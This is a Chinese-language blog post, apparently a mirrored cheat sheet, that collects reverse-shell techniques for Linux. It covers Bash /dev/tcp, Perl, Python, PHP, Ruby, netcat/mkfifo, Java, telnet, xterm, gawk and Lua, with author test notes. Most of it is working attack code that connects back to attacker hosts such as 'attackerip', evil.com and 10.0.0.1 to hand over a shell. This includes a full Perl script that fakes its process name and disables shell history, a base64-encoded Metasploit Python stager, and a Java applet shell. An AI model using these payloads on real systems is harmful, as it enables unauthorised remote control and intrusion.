zoukankan      html  css  js  c++  java
  • Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考]

    0x01 Bash

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    这里shell由bash解析,有时候是由sh解析,不一定百发百中
    ***在虚拟机里面试过可行,替换成自己的地址和端口即可***
    ***/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用***
    ***由于其特殊性,命令执行后依旧无法找到/dev/tcp目录更不要说下面的文件了***
    ***注意,这里"&"在Linux shell中表示后台运行,当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO***
    *** 2>&1形式用于重定向,2>表示错误重定向,&1表示标准输出;以ls >/dev/null 2>&1为例,2>&1是将标准出错重定向到标准输出,不过在这里又被重定向到了/dev/null这个无底洞里***
    ***这里有一个问题:为什么2>&1要写在后面,以command >file 2>&1为例,首先是command > file将标准输出重定向到file中, 2>&1 是标准错误拷贝了标准输出的行为,也就是同样被重定向到file中,最终结果就是标准输出和错误都被重定向到file中***
    ***其实还有一个问题,既然2>表示错误重定向,那么0>表示什么呢?查阅资料发现在Linux下输入输出重定向有三个值,其中2已经说过是标准错误信息输出,那0则是标准输入,1则为标准输出了。说到这里,其实又引出了一个新的问题,我们知道<才是表示输入的,那为何这里却是如此形式,按说就应该是2了,或者说这里0就已经是输入了,然后直接使用>进行输出,不是很清楚请大牛指点啊***

    gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上还有一种不同的方法,评论中也有一些想法:
    ###$ nc -l -p 8080 -vvv
    $ exec 5<>/dev/tcp/evil.com/8080
    $ cat <&5 | while read line; do $line 2>&5 >&5; done
    ***这条语句证实可行,这里exec命令可以用来替代当前shell;换句话说,并没有启动子shell,使用这一条命令时任何现有环境变量将会被清除,并重新启动一个shell***
    ***exec的man手册如是说:The exec() family of functions replaces the current process image with a new process image***
    ***在查exec时发现一个好玩的语句:

      exec 3<>/dev/tcp/www.google.com/80
      echo -e "GET / HTTP/1.1 host: http://www.google.com Connection: close " >&3
      cat <&3

    这个语句的作用,应该一看就明了了,不多说,言归正传,nc监听,使用exec反弹的shell其输出只能在目标机器上看到,有图为证***


    另外还可以是:
    exec /bin/bash 0&0 2>&0
    0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
    /bin/bash  -i > /dev/tcp/attackerip/8080 0<&1 2>&1
    ***在测试exec /bin/bash 0&0 2>&0语句时,遇到一个问题,终端显示No such file or directory或者干脆找不到命令,怎么让它实现还有待研究***
    ***研究表明,exec 2>&0即可,不需要/bin/bash,然后跟上0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196在本地监听反弹成功***

    0x02 Perl
    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    ***使用这条命令,唯一的不同是提示符变成了sh-4.1#,实现原理和前面的bash差不多,Perl还是很强大的***

    不依赖于/bin/sh的shell: ***这条语句比上面的更为简短,而且确实不需要依赖/bin/sh***

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    系统运行windows时:***突然发现windows上暂时没装Perl,下次测吧***

    perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    再给出一个完整的Perl的反弹脚本:

     1 #!/usr/bin/perl -w
     2 # perl-reverse-shell - A Reverse Shell implementation in PERL
    3 use strict; 4 use Socket; 5 use FileHandle; 6 use POSIX; 7 my $VERSION = "1.0"; 8 9 # Where to send the reverse shell. Change these. 10 my $ip = '127.0.0.1'; 11 my $port = 1234; 12 13 # Options 14 my $daemon = 1; 15 my $auth = 0; # 0 means authentication is disabled and any 16 # source IP can access the reverse shell 17 my $authorised_client_pattern = qr(^127.0.0.1$); 18 19 # Declarations 20 my $global_page = ""; 21 my $fake_process_name = "/usr/sbin/apache"; 22 23 # Change the process name to be less conspicious 24 $0 = "[httpd]"; 25 26 # Authenticate based on source IP address if required 27 if (defined($ENV{'REMOTE_ADDR'})) { 28 cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); 29 30 if ($auth) { 31 unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { 32 cgiprint("ERROR: Your client isn't authorised to view this page"); 33 cgiexit(); 34 } 35 } 36 } elsif ($auth) { 37 cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); 38 cgiexit(0); 39 } 40 41 # Background and dissociate from parent process if required 42 if ($daemon) { 43 my $pid = fork(); 44 if ($pid) { 45 cgiexit(0); # parent exits 46 } 47 48 setsid(); 49 chdir('/'); 50 umask(0); 51 } 52 53 # Make TCP connection for reverse shell 54 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); 55 if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { 56 cgiprint("Sent reverse shell to $ip:$port"); 57 cgiprintpage(); 58 } else { 59 cgiprint("Couldn't open reverse shell to $ip:$port: $!"); 60 cgiexit(); 61 } 62 63 # Redirect STDIN, STDOUT and STDERR to the TCP connection 64 open(STDIN, ">&SOCK"); 65 open(STDOUT,">&SOCK"); 66 open(STDERR,">&SOCK"); 67 $ENV{'HISTFILE'} = '/dev/null'; 68 system("w;uname -a;id;pwd"); 69 exec({"/bin/sh"} ($fake_process_name, "-i")); 70 71 # Wrapper around print 72 sub cgiprint { 73 my $line = shift; 74 $line .= "<p> "; 75 $global_page .= $line; 76 } 77 78 # Wrapper around exit 79 sub cgiexit { 80 cgiprintpage(); 81 exit 0; # 0 to ensure we don't give a 500 response. 82 } 83 84 # Form HTTP response using all the messages gathered by cgiprint so far 85 sub cgiprintpage { 86 print "Content-Length: " . length($global_page) . " 87 Connection: close 88 Content-Type: text/html " . $global_page; 89 }

    0x03 Python #测试环境为Linux Python2.7

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    ***同样是sh-4.1#,Python真心好***

    另外的形式:#[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]还有其他可行的代码

    python -c "exec("import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))
    while 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"

    另外Metasploit版的代码:

    msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
    import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

     base64解码:

    import socket,struct
    s=socket.socket(2,1)
    s.connect(('192.168.90.1',1234))
    l=struct.unpack('>I',s.recv(4))[0]
    d=s.recv(4096)
    while len(d)!=l:
        d+=s.recv(4096)
    exec(d,{'s':s})

    0x04 PHP #代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

    [https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php]为一个上传的完整php反弹shell脚本    ***php这个也相当简单***

    0x05 Ruby

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    不依赖于/bin/sh的shell:

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    如果目标系统运行Windows:

    ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    当然还有我们很熟悉的MSF模块里面也是有反弹shell的:

    #!/usr/bin/env ruby
    
    require 'socket'
    require 'open3'
    
    #Set the Remote Host IP
    RHOST = "192.168.1.10" 
    #Set the Remote Host Port
    PORT = "6667"
    
    #Tries to connect every 20 sec until it connects.
    begin
    sock = TCPSocket.new "#{RHOST}", "#{PORT}"
    sock.puts "We are connected!"
    rescue
      sleep 20
      retry
    end
    
    #Runs the commands you type and sends you back the stdout and stderr.
    begin
      while line = sock.gets
        Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
                  IO.copy_stream(stdout_and_stderr, sock)
                  end  
      end
    rescue
      retry
    end 

    0x06 NetCat

    nc -e /bin/sh 10.0.0.1 1234  #不同版本的nc不一定支持-e选项

    不能使用-e选项时:

    mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
    /bin/sh | nc attackerip 4444
    rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

    安装的NC版本有问题时:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

    0x07 Java

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
    p.waitFor()

    msf使用为:use payload/java/shell/reverse_tcp

    再见一段长代码:

    import java.io.*;
    import java.net.Socket;
    import java.util.*;
    import java.util.regex.*;
    import java.applet.Applet;
    
    public class poc extends Applet{
        /**
         * Author: daniel baier alias duddits
         * Licens: GPL
         * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher
         * Version: 0.1 alpha release
         */
    
        public String cd(String start, File currentDir) {
            File fullPath = new File(currentDir.getAbsolutePath());
            String sparent = fullPath.getAbsoluteFile().toString();
            return sparent + "/" + start;
    
            }
    
        @SuppressWarnings("unchecked")
        public void init() {
            poc rs = new poc();
            PrintWriter out;
            try {
                Socket clientSocket = new Socket("192.168.5.222",10003);
                out = new PrintWriter(clientSocket.getOutputStream(), true);
                out.println("	JRS 0.1 alpha release
    	developed by duddits alias daniel baier");
                boolean run = true;
                String s;
                BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
                String startort = "/";
                while (run) {
                    String z1;
                    File f = new File(startort);
                    out.println(f.getAbsolutePath() + "> ");
                    s = br.readLine();
                    z1 = s;
                    Pattern pcd = Pattern.compile("^cd\s");
                    Matcher mcd = pcd.matcher(z1);
                    String[] teile1 = pcd.split(z1);
                    if (s.equals("exit")) {
                        run = false;
                    }else if (s.equals(null) || s.equals("cmd") || s.equals("")) {
    
                    } else if(mcd.find()){
                        try {
                            String cds = rs.cd(teile1[1], new File(startort));
                            startort = cds;
                            } catch (Exception verz) {
                            out.println("Path " + teile1[1]
                            + " not found.");
                            }
    
                    }else {
    
                        String z2;
    
    
                        z2 = s;
                        Pattern pstring = Pattern.compile("\s");
                        String[] plist = pstring.split(z2);
    
                        try {
    
                            LinkedList slist = new LinkedList();
                            for (int i = 0; i < plist.length; i++) {
                                slist.add(plist[i]);
                            }
    
                            ProcessBuilder builder = new ProcessBuilder(slist);
                            builder.directory(new File(startort));
                            Process p = builder.start();
                            Scanner se = new Scanner(p.getInputStream());
                            if (!se.hasNext()) {
                                Scanner sa = new Scanner(p.getErrorStream());
                                while (sa.hasNext()) {
                                    out.println(sa.nextLine());
                                }
                            }
                            while (se.hasNext()) {
                                out.println(se.nextLine());
                            }
    
    
                        } catch (Exception err) {
                            out.println(f.getAbsolutePath() + "> Command "
                                    + s + " failed!");
                            out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");
                        }
    
                    }
                }
    
                if(!clientSocket.isConnected()){
                    run = false;
                    out.flush();
                    out.close();
                }
    
            } catch (Exception io) {
                //System.err.println("Connection refused by peer");
            }
    
        }
    
    }

    0x08 Telnet  #nc不可用或/dev/tcp不可用时

    mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe

     ***这里mknod是创建特殊文件-设备文件***

    0x09 Xterm

    首先开启Xserver:  # TCP 6001

    Xnest :1               # Note: The command starts with uppercase X

    授予目标机连回来的权限:

    xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
    xhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server

    如果想让任何人都连上:

    xhost +                     # Run this INSIDE the spawned xterm on the open X Server

    假设xterm已安装,连回你的Xserver:

    xterm -display attackerip:1

    或者:

    $ DISPLAY=attackerip:0 xterm

    0x10 gawk

    #!/usr/bin/gawk -f
    
    BEGIN {
            Port    =       8080
            Prompt  =       "bkd> "
    
            Service = "/inet/tcp/" Port "/0/0"
            while (1) {
                    do {
                            printf Prompt |& Service
                            Service |& getline cmd
                            if (cmd) {
                                    while ((cmd |& getline) > 0)
                                            print $0 |& Service
                                    close(cmd)
                            }
                    } while (cmd != "exit")
                    close(Service)
            }
    }

    0x11 乌云上一个lua实现

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

    ***lua之前是真没见过,发现机器竟然一时装不上,唉,留着以后玩吧***

    msf反弹:use payload/cmd/unix/reverse_lua

    0x12 参考

    http://roo7break.co.uk/?p=215

    http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

  • 相关阅读:
    第二阶段总结
    傻子都会app与学习通
    天工疼憨仔组项目评审
    第一阶段意见
    冲刺(十)
    冲刺(九)
    冲刺(八)
    冲刺(七)
    后Hadoop时代的大数据架构
    ZooKeeper典型使用场景一览
  • 原文地址:https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
Copyright © 2011-2022 走看看